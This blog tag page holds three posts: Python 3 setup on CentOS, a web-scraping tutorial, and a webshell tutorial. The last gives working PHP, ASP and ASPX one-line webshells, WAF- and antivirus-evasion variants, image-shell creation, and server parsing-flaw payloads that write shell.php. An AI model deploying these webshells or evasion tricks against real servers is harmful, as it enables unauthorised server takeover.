跳到主要内容

31 篇博文 含有标签「技术」

查看所有标签

安装 python3 环境

· 阅读需 3 分钟

centos7 自带有 python,版本是python2.7

接下来我们手动安装python3,并且配置后可以并存使用。

1.首先,你要知道系统现在的python的位置在哪儿:

[root@root ~]# whereis python
python: /usr/bin/python2.7 /usr/bin/python /usr/lib/python2.7 /usr/lib64/python2.7 /etc/python /usr/include/python2.7 /usr/share/man/man1/python.1.gz
  • 可以知道我们的python在 /usr/bin目录中
[root@root ~]# cd /usr/bin/
[root@root bin]# ll python*
lrwxrwxrwx. 1 root root 7 2月 7 09:30 python -> python2
lrwxrwxrwx. 1 root root 9 2月 7 09:30 python2 -> python2.7
-rwxr-xr-x. 1 root root 7136 8月 4 2017 python2.7
  • 可以看到,python指向的是python2,python2指向的是python2.7,因此我们可以装个python3,然后将python指向python3,然后python2指向python2.7,那么两个版本的python就能共存了。

2.因为我们要安装python3,所以要先安装相关包,用于下载编译python3:

yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make 运行了以上命令以后,就安装了编译python3所用到的相关依赖

3.默认的,centos7也没有安装pip,不知道是不是因为我安装软件的时候选择的是最小安装的模式。

#运行这个命令添加epel扩展源
yum -y install epel-release
#安装 pip
yum install python-pip

4.用pip装wget

pip install wget

5.用wget下载python3的源码包

wget https://www.python.org/ftp/python/3.6.4/Python-3.6.4.tar.xz

6.编译python3源码包

#解压
xz -d Python-3.6.4.tar.xz
tar -xf Python-3.6.4.tar
#进入解压后的目录,依次执行下面命令进行手动编译
cd Python-3.6.4
./configure prefix=/usr/local/python3
make && make install
# 如果出现can't decompress data; zlib not available这个错误,则需要安装相关库#安装依赖zlib、zlib-devel
yum install zlib zlib
yum install zlib zlib-devel

如果最后没提示出错,就代表正确安装了,在/usr/local/目录下就会有python3目录

7.添加软链接

#将原来的链接备份mv /usr/bin/python /usr/bin/python.bak 
#添加python3的软链接
ln -s /usr/local/python3/bin/python3.6 /usr/bin/python
#测试是否安装成功了
python -V

8.更改yum配置,因为其要用到python2才能执行,否则会导致yum不能正常使用

vi /usr/bin/yum
把#! /usr/bin/python修改为#! /usr/bin/python2

vi /usr/libexec/urlgrabber-ext-down
把#! /usr/bin/python 修改为#! /usr/bin/python2

启动 python2: python2

启动 python3: python

pip3 的环境配置

ln -s /usr/local/python3/bin/pip3 /usr/bin/pip3

数据解析初识

· 阅读需 15 分钟

数据解析初识

数据解析,就是把我们所需要的数据从完整的网页中解析出来。数据解析主要用来实现聚焦爬虫。

我们知道,网页中显示的数据都是储存在 HTML 的标签或者标签的属性中。所以我们往往也是基于 HTML 的标签对数据进行解析提取。

数据解析的通用原理为:

  • 通过定位找到指定的标签
  • 取出标签中存储的数据或者标签属性中的数据

常用的数据解析方式有如下几种:

  • 正则
  • bs4
  • xpath
  • pyquery(自学)

爬取图片的两种方式

方式一,基于 requests 模块:

import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
url = 'https://tvax1.sinaimg.cn/large/bfe05ea9ly1fxgv7ihvvvj21hc0u07dc.jpg' # 图片网上一大堆,如果这个链接失效了,就找一个新的吧
response = requests.get(url=url, headers=headers)
img_data = response.content # content返回的是二进制形式的响应数据
with open('1.jpg', 'wb') as fp:
fp.write(img_data)

方式二,基于 urllib 模块:

urllib 模块作用和 requests 模块一样,都是用来发送网络请求并接收响应的模块。当 requests 问世后就迅速的替代了 urllib 模块。requests 模块就是对 urllib 模块进行的封装。

import urllib
url = 'https://tvax1.sinaimg.cn/large/bfe05ea9ly1fxgv7ihvvvj21hc0u07dc.jpg'
urllib.request.urlretrieve(url, '2.jpg')

通过比较,我们不难看出,这两种爬取图片的方式各有优劣:

  • urllib 的代码更加简洁,但无法进行 UA 伪装
  • requests 的代码稍繁琐些,但可以 UA 伪装

在以后的使用中,我们更多还是用到 requests 模块来爬取图片。毕竟很多网站都要进行 UA 检测。

正则解析

正则解析,也就是通过正则匹配的方式,将我们需要的数据从完整的网页文件中提取出来。

Python 的正则规则参见 re 模块和正则表达式,就不在这里具体讨论了,仅在这里列举几个常见元字符:

单字符:
. : 除换行以外所有字符,若匹配多行需指定re.DOTALL或re.S
[] :[aoe] [a-w] 匹配集合中任意一个字符
\d :数字 [0-9]
\D : 非数字
\w :数字、字母、下划线、中文
\W : 非\w
\s :所有的空白字符包,括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。
\S : 非空白
数量修饰:
* : 任意多次 >=0
+ : 至少1次 >=1
? : 可有可无 0次或者1次
{m} :固定m次 hello{3,}
{m,} :至少m次
{m,n} :m-n次
边界:
$ : 以某某结尾
^ : 以某某开头
分组:
(ab)
贪婪模式: .*
非贪婪(惰性)模式: .*?

分析浏览器开发者工具中 Elements 和 network 这两个选项卡对应的页面源码数据有何不同之处?

  • Elements 中包含的显示的页面源码数据为当前页面所有的数据加载完毕后对应的完整的页面源码数据(包含了动态加载数据)。Elements 很容易获得,一点击就到,而且可以很方便找到我们需要的标签。
  • network 中显示的页面源码数据仅仅为某一个单独的请求对应的响应数据(不包含动态加载数据)
  • 结论:如果在进行数据解析的时候,一定是需要对页面布局进行分析,如果当前网站没有动态加载的数据就可以直接使用 Elements 对页面布局进行分析,否则只可以使用 network 对页面数据进行分析。

接下来,我们要使用正则进行图片数据的批量解析爬取。

需求:爬取校花网中的图片数据

  • 网址 url:www.521609.com
  • 操作:需要将每一张图片的地址解析出来,然后对图片地址发起请求即可。
dir_name = 'ImgLibs'
if not os.path.exists(dir_name):
os.mkdir(dir_name)

# 1.捕获到当前首页的页面源码数据
main_url = 'http://www.521609.com/xiaoyuanmeinv/'
page_text = requests.get(url=main_url, headers=headers).text
# 2.从当前获取的页面源码数据中解析出图片地址
re_ex = '<li>.*\?<img src="(.*\?)" width=".*\?</li>'
img_src_list = re.findall(re_ex, page_text, re.S)
for src in img_src_list:
img_url = 'http://www.521609.com' + src
img_name = dir_name + os.path.sep + src.split('/')[-1]
urllib.request.urlretrieve(img_url, img_name)
print(f'{img_name}下载完毕!')

bs4 解析

bs4 解析代码编写流程:

  1. 实例化一个 BeautifulSoup 的对象,将待解析的页面源码数据加载到该对象中
  2. 调用 BeautifulSoup 对象中相关方法或者属性进行标签定位和文本数据的提取

环境安装(若使用 Anaconda,则不需要安装,因为 Anaconda 中已经集成了这两个模块):

pip install lxml    # 可用作bs4的解析器,同时后面的xpath也会用到
pip install bs4

BeautifulSoup 对象的实例化:

BeautifulSoup 可以将本地的 HTML 文档或互联网请求来的页面进行解析操作

BeautifulSoup(fp,'lxml')    # 用来将本地存储的html文档中的数据进行解析
BeautifulSoup(page_text,’lxml‘) # 用来将互联网上请求到的页面源码数据进行解析

标签定位:

  • soup.tagName:只可以定位到第一次出现的 tagName 标签
  • soup.find('tagName',attrName='value'):属性定位,同样只能匹配到第一次出现的符合条件的标签
  • soup.findAll:跟 find 一样用作属性定位,只不过 findAll 返回的是列表,列表中包含了所有符合条件的标签
  • soup.select('选择器'):选择器定位,返回的是列表,列表中包含了所有符合条件的标签
    • 类选择器
    • id 选择器
    • 层级选择
      • 大于号 >:表示一个层级
      • 空格:表示多个层级

取数据

  • soup_obj.text:返回的是该标签下所有的文本内容
  • soup_obj.string:返回的是该标签直系的文本内容

取属性:

  • tag['attrName']

我们可以将下面这串代码命名为 test.html 保存到当前工作目录下,供测试用:

<html lang="en">
<head>
<meta charset="UTF-8" />
<title>测试bs4</title>
</head>
<body>
<div>
<p>百里守约</p>
</div>
<div class="song">
<p>李清照</p>
<p>王安石</p>
<p>苏轼</p>
<p>柳宗元</p>
<a href="http://www.song.com/" title="赵匡胤" target="_self">
<span>this is span</span>
宋朝是最强大的王朝,不是军队的强大,而是经济很强大,国民都很有钱</a>
<a href="" class="du">总为浮云能蔽日,长安不见使人愁</a>
<img src="http://www.baidu.com/meinv.jpg" alt="" />
</div>
<div class="tang">
<ul>
<li><a href="http://www.baidu.com" title="qing">清明时节雨纷纷,路上行人欲断魂,借问酒家何处有,牧童遥指杏花村</a></li>
<li><a href="http://www.163.com" title="qin">秦时明月汉时关,万里长征人未还,但使龙城飞将在,不教胡马度阴山</a></li>
<li><a href="http://www.126.com" alt="qi">岐王宅里寻常见,崔九堂前几度闻,正是江南好风景,落花时节又逢君</a></li>
<li><a href="http://www.sina.com" class="du">杜甫</a></li>
<li><a href="http://www.dudu.com" class="du">杜牧</a></li>
<li><b>杜小月</b></li>
<li><i>度蜜月</i></li>
<li><a href="http://www.haha.com" id="feng">凤凰台上凤凰游,凤去台空江自流,吴宫花草埋幽径,晋代衣冠成古丘</a></li>
</ul>
</div>
</body>
</html>

bs4 的使用示例:

from bs4 import BeautifulSoup
fp = open('test.html', 'r', encoding='utf-8')
soup = BeautifulSoup(fp, 'lxml')
fp.close()
soup.p
soup.find('div', class_='song')
soup.find('a', id='feng')
soup.findAll('a', id='feng')
soup.select('.tang')
soup.select('.tang li')
a_tag = soup.find('a', id='feng')
a_tag['href']
div_tag = soup.find('div', class_='song')
div_tag.text
a_tag.string

接下来,我们利用 bs4 爬取网页中的文字信息。

需求:爬取《三国演义》全文

main_url = 'http://www.shicimingju.com/book/sanguoyanyi.html'
page_text = requests.get(url=main_url, headers=headers).text
fp = open('./sanguo.txt', 'w', encoding='utf-8')
# 数据解析:章节标题,详情页url,章节内容
soup = BeautifulSoup(page_text, 'lxml')
# 定位到的所有的符合要求的a标签
a_list = soup.select('.book-mulu > ul > li > a')
for a in a_list:
title = a.string
detail_url = 'http://www.shicimingju.com' + a['href']
# 对详情页发起请求解析出章节内容
page_text_detail = requests.get(url=detail_url, headers=headers).text
soup = BeautifulSoup(page_text_detail, 'lxml')
div_tag = soup.find('div', class_="chapter_content")
content = div_tag.text
fp.write(title + ':' + content + '\n')
print(title, '保存成功!!!')
fp.close()

xpath 解析

环境安装(同样,如果使用 Anaconda,则不需要安装):

pip install lxml

xpath 解析原理:html 标签是以树状的形式进行展示

  1. 实例化一个 etree 的对象,且将待解析的页面源码数据加载到该对象中
  2. 调用 etree 对象的 xpath 方法结合着不同的 xpath 表达式实现标签的定位和数据提取

实例化 etree 对象

  • etree.parse('filename'):将本地 html 文档加载到该对象中
  • etree.HTML(page_text):网站获取的页面数据加载到该对象

标签定位:

  • 最左侧的 /:如果 xpath 表达式最左侧是以 / 开头则表示该 xpath 表达式一定要从根标签开始定位指定标签 (用的很少,忽略)
  • 非最左侧的 /:表示一个层级
  • 非左侧的 //:表示多个层级
  • 最左侧的 //:xpath 表达式可以从任意位置进行标签定位
  • 属性定位:tagName[@attrName="value"]
  • 索引定位:tag[index],索引是从 1 开始
  • 模糊匹配(了解):
    • //div[contains(@class, "ng")]
    • //div[starts-with(@class, "ta")]

取文本

  • /text():直系文本内容
  • //text():所有的文本内容

取属性

  • /@attrName

xpath 的使用示例如下:

from lxml import etree
tree = etree.parse('test.html')
tree.xpath('/html/head/meta') # 定位meta
tree.xpath('/html//meta') # 定位meta
tree.xpath('//meta') # 定位meta
tree.xpath('//div[@class="song"]/p') # 定位class为song的div下面所有的p
tree.xpath('//div[@class="song"]/p[2]//text()') # 定位class为song的div下面第2个p
tree.xpath('//a[@id="feng"]/@href') # a标签的href属性

接下来,我们就用 xpath 爬取网页图片

需求:使用 xpath 爬取图片名称和图片数据

局部数据解析:

  • 我们要将定位到的页面中的标签作为待解析的数据。再次使用 xpath 表达式解析待解析的数据。
  • 在局部数据解析的时候,xpath 表达式中要使用 ./ 的操作,./ 表示的就是当前的局部数据(xpath 的调用者)。

首先实现爬取第一页所有图片的功能:

# 爬取第一页
img_dir = 'GirlsLib'
if not os.path.exists(img_dir):
os.mkdir(img_dir)
main_url = 'http://pic.netbian.com/4kmeinv/'
response = requests.get(url=main_url, headers=headers)
response.encoding = 'gbk'
page_text = response.text
tree = etree.HTML(page_text)
# 找到所有符合要求的img标签
img_list = tree.xpath('//div[@class="slist"]//img')
for img in img_list:
# print(type(img))
# img的数据类型和tree的数据类型一样,img也可以调用xpath方法
img_url = 'http://pic.netbian.com' + img.xpath('./@src')[0]
title = img_dir + os.path.sep + img.xpath('./@alt')[0] + '.jpg'
img_data = requests.get(url=img_url, headers=headers).content
with open(title, 'wb') as fp:
fp.write(img_data)
print(title, '保存成功!')

分析页码规律,即可实现多页图片的爬取:

# 爬取多页
img_dir = 'GirlsLib'
if not os.path.exists(img_dir):
os.mkdir(img_dir)
main_url = 'http://pic.netbian.com/4kmeinv/'
for page in range(1, 6):
# main_url不能修改,要保留,新的url要用新名字
if page == 1:
new_url = main_url
else:
new_url = main_url + f'index_{page}.html'
response = requests.get(url=new_url, headers=headers)
response.encoding = 'gbk'
page_text = response.text
tree = etree.HTML(page_text)
# 找到所有符合要求的img标签
img_list = tree.xpath('//div[@class="slist"]//img')
for img in img_list:
# print(type(img))
# img的数据类型和tree的数据类型一样,img也可以调用xpath方法
img_url = 'http://pic.netbian.com' + img.xpath('./@src')[0]
title = img_dir + os.path.sep + img.xpath('./@alt')[0] + '.jpg'
img_data = requests.get(url=img_url, headers=headers).content
with open(title, 'wb') as fp:
fp.write(img_data)
print(title, '保存成功!')

bs4 和 xpath 综合讨论

如果想要解析出携带 html 标签的局部数据,需要使用 bs4 还是 xpath 呢?

答案是 bs4。因为 bs4 在实现标签定位的时候返回的直接就是定位到标签对应的字符串数据,而 xpath 只能获取到标签对象。这也是选择用 bs4 还是 xpath 的一个重要依据。

如何让 xpath 的表达式更具有通用性?

可以通过在 xpath 表达式中使用管道符 |,表示管道符左右两侧的子 xpath 表达式同时生效或者一个生效。

需求:列举出所有城市名称

url = 'https://www.aqistudy.cn/historydata/'
page_text = requests.get(url=url, headers=headers).text

tree = etree.HTML(page_text)
# hot_cities = tree.xpath('//div[@class="bottom"]/ul/li/a/text()')
# all_cities = tree.xpath('//div[@class="bottom"]/ul/div[2]/li/a/text()')
tree.xpath('//div[@class="bottom"]/ul/li/a/text() | //div[@class="bottom"]/ul/div[2]/li/a/text()')

作业,爬取站长素材高清图片和简历模板

  1. 爬取站长素材高清图片,这里会涉及到一个反爬机制大家自行解决:http://sc.chinaz.com/tupian/
  2. 爬取站长素材中的简历模板前 5 页:http://sc.chinaz.com/jianli/free.html

作业 1 参考:

import json
import os
import requests
from lxml import etree

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
img_dir = 'ZhanzhangGirls'
if not os.path.exists(img_dir):
os.mkdir(img_dir)
main_url = 'http://sc.chinaz.com/tupian/nvshengtupian.html'
response = requests.get(url=main_url, headers=headers)
response.encoding = 'utf-8'
page_text = response.text
tree = etree.HTML(page_text)
a_list = tree.xpath('//div[@id="container"]//p/a')
for a in a_list:
detail_page_url = a.xpath('./@href')[0]
detail_page_response = requests.get(url=detail_page_url, headers=headers)
detail_page_response.encoding = 'utf-8'
detail_page_tree = etree.HTML(detail_page_response.text)
# 图片是js生成的,好在链接什么的都放在页面的json里面,可以拿到然后解析出来
img_info_json = detail_page_tree.xpath('//script[@type="application/ld+json"]//text()')[0]
img_info = json.loads(img_info_json)
img_url = img_info['images'][0]
img_title = os.path.join(img_dir, img_info['description'] + '.jpg')
img_data = requests.get(url=img_url, headers=headers).content
with open(img_title, 'wb') as fp:
fp.write(img_data)
print(img_title, '下载完成!')

作业 2 参考:

import json
import os
import requests
from bs4 import BeautifulSoup
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
file_dir = 'ZhanzhangCV'
if not os.path.exists(file_dir):
os.mkdir(file_dir)
main_url = 'http://sc.chinaz.com/jianli/free.html'
response = requests.get(url=main_url, headers=headers)
response.encoding = 'utf-8'
page_text = response.text
soup = BeautifulSoup(page_text, 'lxml')
a_list = soup.select('#container p > a')
for a in a_list:
detail_url = a['href']
title = a.text
detail_response = requests.get(url=detail_url, headers=headers)
detail_response.encoding = 'utf-8'
detail_soup = BeautifulSoup(detail_response.text, 'lxml')
file_url = detail_soup.select('.downlist li a')[0]['href']
file_name = os.path.join(file_dir, title + '.rar')
file_data = requests.get(url=file_url, headers=headers).content
with open(file_name, 'wb') as fp:
fp.write(file_data)
print(title, '下载完毕!')

图片懒加载

图片懒加载常见于一些图片比较多的网站。懒加载的目的不单单是为了反爬,它可以减少用户打开网页所需要的时间,提高用户体验。不过这也确实给我们爬虫造成一些困扰。

图片懒加载的解决的解决要灵活处理,根据网页实现懒加载方式的不同,会有不同的处理方式。

比如站长素材的缩略图,通过将 img 标签的 src 属性先命名为 src2。等图片出现到浏览器视野中的时候,src2 会被更名回 src,从而实现图片的懒加载。

但是对于 requests 请求来说,并不会有图片出现在浏览器视野中,所以图片的 src 属性全都为 src2。此时如果还用 src 属性查找图片链接,是找不到的,应该使用 src 2 来查找。

import os
import requests
from lxml import etree
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
img_dir = 'ZhanzhangGirls'
if not os.path.exists(img_dir):
os.mkdir(img_dir)
url = 'http://sc.chinaz.com/tag_tupian/YaZhouMeiNv.html'
response = requests.get(url=url, headers=headers)
response.encoding = 'utf-8'
data_text = response.text
tree = etree.HTML(data_text)
img_list = tree.xpath('//div[@id="container"]//img')
for img in img_list:
title = os.path.join(img_dir, img.xpath('./@alt')[0] + '.jpg')
# 去掉链接中的 _s 即可获得高清图片
img_url = img.xpath('./@src2')[0][:-6] + '.jpg'
img_data = requests.get(url=img_url, headers=headers).content
with open(title, 'wb') as fp:
fp.write(img_data)
print(title, '下载完成!')

一句话及图片码

· 阅读需 7 分钟

一句话木马

就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。

一句话木马基本形态

/*asp一句话木马*/
<%execute(request("value"))%>

/*php一句话木马*/
<?php@eval($_POST['123']);\?>

/*aspx一句话木马*/
<%@Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

一句话木马使用方式及变形绕过

一句话木马可以是单独的文件,通过文件上传发送到服务器,或者通过命令执行远程写入文件。也可以在服务器中的文件中写入一句话代码。随后可以使用菜刀等工具进行远程连接。

(双变量绕过)

<?php @eval($_POST['value']);\?>这个一句话木马中eval可以成为防御方过滤的目标,所以相对应的我们可以在代码中不出现eval关键字,改写成如下形式:
<?php $_GET['a']($_POST['b'])\?>这样同时传递两个变量,将eval作为参数传递进去。

(字符串变形绕过)

用substr_replace()函数变形assert达到免杀的效果

<?php
$a=substr_replace("assexx","rt",4);
$a($_POST['x']);
\?>

(定义函数绕过)

定义一个函数把关键词分割达到 bypass效果
<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
\?>

(特殊字符干扰绕过)

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符初代版本

<?php
$a=$_REQUEST['a'];
$b=null;
eval($b.$a);
\?>
  • 或者例如下面:
<?php
$a=$_POST['a'];
$b="\n";
eval($b.=$a);
\?>

(PHP对字符串变形的函数)

ucwords()//函数把字符串中每个单词的首字符转换为大写。
ucfirst()//函数把字符串中的首字符转换为大写。
trim()//函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace()//函数把字符串的一部分替换为另一个字符串
substr()//函数返回字符串的一部分。
strtr()//函数转换字符串中特定的字符。
strtoupper()//函数把字符串转换为大写。
strtolower()//函数把字符串转换为小写。
strtok()//函数把字符串分割为更小的字符串
str_rot13()//函数对字符串执行ROT13编码。

(编码绕过)

用php的编码函数,或者用异或等等
简单的base64_decode,可以加入一些下划线干扰杀软

<?php
$a=base64_decode("YXNz+ZX___j___0");
$a=($_POST[x]);
\?>

异或

<?php
$a=("!"^"@").'ssert';
$a($_POST[x]);
\?>

(无字符特征马绕过)

  • 利用异或,编码等方式
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
$___=$$__;
$_($___[_]); //assert($_POST[_]);
\?>
  • 利用POST包获取关键参数执行 例如:
<?php
$decrpt=$_POST['x'];
$arrs=exploed("|",$decrpt)[1];
$arrs=explode("|",base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
\?>

一句话木马变形总结

  • 双变量绕过
  • 字符串变形绕过
  • 定义函数绕过
  • 回调函数绕过
  • 特殊字符干扰绕过
  • 数组绕过
  • 类绕过
  • 编码绕过
  • 无字符特征码绕过

特别提醒:

自php7.1后,assert函数被弃用,现在越来越多的人可能更倾向使用大马而非一句话木马。

图片马

发展史

  • 不限制上传类型 ――直接上传脚本文件

  • 限制上传类型 -―修改文件后缀名

  • 检验图片头 ――在脚本文件中加入gif89a等图片头信息

  • 检验图片大小 ――在脚本中增加字符,使大小接近真实图片

  • 检验图片完整性 ――图片马诞生

需要注意的是即使图片马成功上传,因为后缀是图片格式,正常情况下不能被当作脚本执行,图片马也就不会生效,后面需要通过截断,解析漏洞等方式将图片马以脚本的格式解析才能使图片马生效。

制作图片马

  • 通过note++或者010Editor编辑器编辑图片,在尾部添加一句话马

  • cmd 制作图片马

    • 其中b表示以2进制文件,a表示以ascii文件
    • copy 1.jpg/b+1.php/a 2.jpg
  • 图片版权中插入一句话

图片马中的一句话代码可以写多种脚本格式。如php、asp、jsp等。这样增加了图片马的通用性。无论网站是哪种脚本语言都可以上传
  • 小马
小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者iis的低版本解析漏洞来运行,不过功能少,一般只有上传等功能。传小马更多的是为了通过小马上传大马
  • 大马
大马体积比较大,一般5OK以上,功能也多,一般都包括提权命令,磁盘管理,数据库连接接口,执行命令等功能,这种马隐蔽性不好,容易被杀毒软件等查杀。

文件上传漏洞简介

在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。

文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

高危触发点

  • 相册、头像上传
  • 视频、照片分享
  • 附件上传(论坛发帖、邮箱)
  • 文件管理器

中间件解析漏洞

三种常见中间件解析漏洞

  • IIS
IIS5.X - IIS6.x :
/xx.asp/xx.jpg
xx.asp;.jpg
test.asa test.cer test.cdx

IIS7.5:
a.aspx.a;.a.aspx.jpg..jpg
  • Apache
test.php.php123   是从右到左开始判断解析
AddHandler php5-script.php test2.php.jpg
AddType application/x-httpd-php.jpg #即使扩展名为jpg,一样能以php的方式运行
  • Nginx
xxx.jpg%00.php
(Nginx \<8.03 空字节代码执行漏洞)

fix_pathinfo
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/%20\0.php

IIS常见版本

6.0      一般服务器为windows server 2003
7.0/7.5 一般服务器为windows server 2008
8.0/8.5 一般服务器为windows server 2012
10.0 一般服务器为windows server 2016

IIS5.x / 6.0解析漏洞(两种方法)

1. 在网站下建立文件夹名字为.asp.asa的文件夹,其目录内的任何扩展名的文件都被IIS当成asp文件来解析执行。目录解析一般是配合编辑器进行使用,如ckfinder,fck

2. 文件解析ly.asp;.jpg asa,cer,cdx
在IIS6.0下,服务器默认不解析分号后面的内容,因此该文件被当作asp文件解析。
IIS6.0下默认的可执行文件除了asp还包含asa,cer,cdxasa在IIS7.0,7.5也可以。cer在7.0下有的可以有的不行。

IIS7.0/IIS7.5/Nginx < 8.03 畸形解析漏洞

在Fast-CGI开启状态下,可以上传一个例如ly.jpg,内容为`<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])\?>');\?>`的文件。然后访问ly.jpg/.php,
在这个目录下就会生成一句话木马shell.php
注意:只要是llS的支持PHP的都可以在图片后面加/.php看是否能运行。lis7.5/10.0都可能会被执行。这个漏洞准确的说不是中间件的漏洞,而是PHP的解析漏洞。


Apache解析漏洞

  • x.php.zz x.php._
apache是从右往左开始判断解析,如果为不可识别解析,就再往左判断。比如x.php.zz,因为后缀是”.zz”不可被apache识别解析,所以会再往左解析,将该文件解析为x.php
  • htaccess文件解析漏洞
如果在Apache中.htaccess可被执行,且可以被上传,那可以尝试在.htaccess中写入:SetHandler application/x-httpd-php然后再上传任意后缀名的木马,这样均会被当成php解析